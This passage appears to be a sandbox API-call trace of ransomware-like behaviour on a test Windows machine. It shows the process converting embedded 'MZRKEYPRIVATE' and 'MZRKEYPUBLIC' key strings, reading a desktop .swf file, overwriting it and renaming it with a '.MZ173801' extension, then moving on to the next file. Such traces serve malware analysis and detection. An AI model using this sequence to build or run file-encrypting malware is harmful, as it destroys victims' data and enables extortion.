Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.718] GetCurrentThreadId () returned 0xab4 [0176.718] GetCurrentThreadId () returned 0xab4 [0176.718] GetCurrentThreadId () returned 0xab4 [0176.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.722] GetCurrentThreadId () returned 0xab4 [0176.722] GetCurrentThreadId () returned 0xab4 [0176.722] GetCurrentThreadId () returned 0xab4 [0176.722] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\u2kZNmc48Eti0Q.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\u2kznmc48eti0q.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.722] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.722] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.722] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4d0d [0176.722] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.723] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x4d0d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x4d0d, lpOverlapped=0x0) returned 1 [0176.724] CloseHandle (hObject=0x328) returned 1 [0176.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\u2kZNmc48Eti0Q.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\u2kznmc48eti0q.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.726] WriteFile (in: hFile=0x328, lpBuffer=0x24a6040*, nNumberOfBytesToWrite=0x4d0d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a6040*, lpNumberOfBytesWritten=0x19fa24*=0x4d0d, lpOverlapped=0x0) returned 1 [0176.727] CloseHandle (hObject=0x328) returned 1 [0176.727] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\u2kZNmc48Eti0Q.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\u2kznmc48eti0q.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\u2kZNmc48Eti0Q.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\u2kznmc48eti0q.swf.mz173801")) returned 1 [0176.728] GetCurrentThreadId () returned 0xab4 [0176.728] GetCurrentThreadId () returned 0xab4 [0176.728] GetCurrentThreadId () returned 0xab4 [0176.728] GetCurrentThreadId () returned 0xab4 [0176.728] GetCurrentThreadId () returned 0xab4 [0176.728] GetCurrentThreadId () returned 0xab4 [0176.728] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ed9990, ftCreationTime.dwHighDateTime=0x1d5ed78, ftLastAccessTime.dwLowDateTime=0x4dbb43e0, ftLastAccessTime.dwHighDateTime=0x1d5eb10, ftLastWriteTime.dwLowDateTime=0x4dbb43e0, ftLastWriteTime.dwHighDateTime=0x1d5eb10, nFileSizeHigh=0x0, nFileSizeLow=0x5282, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UV46w2I sa.flv", cAlternateFileName="UV46W2~1.FLV")) returned 1 [0176.728] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.728] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UV46w2I sa.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\uv46w2i sa.flv"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ed9990, ftCreationTime.dwHighDateTime=0x1d5ed78, ftLastAccessTime.dwLowDateTime=0x4dbb43e0, ftLastAccessTime.dwHighDateTime=0x1d5eb10, ftLastWriteTime.dwLowDateTime=0x4dbb43e0, ftLastWriteTime.dwHighDateTime=0x1d5eb10, nFileSizeHigh=0x0, nFileSizeLow=0x5282)) returned 1 [0176.729] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UV46w2I sa.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\uv46w2i sa.flv")) returned 0x20 [0176.729] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UV46w2I sa.flv", dwFileAttributes=0x80) returned 1 [0176.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 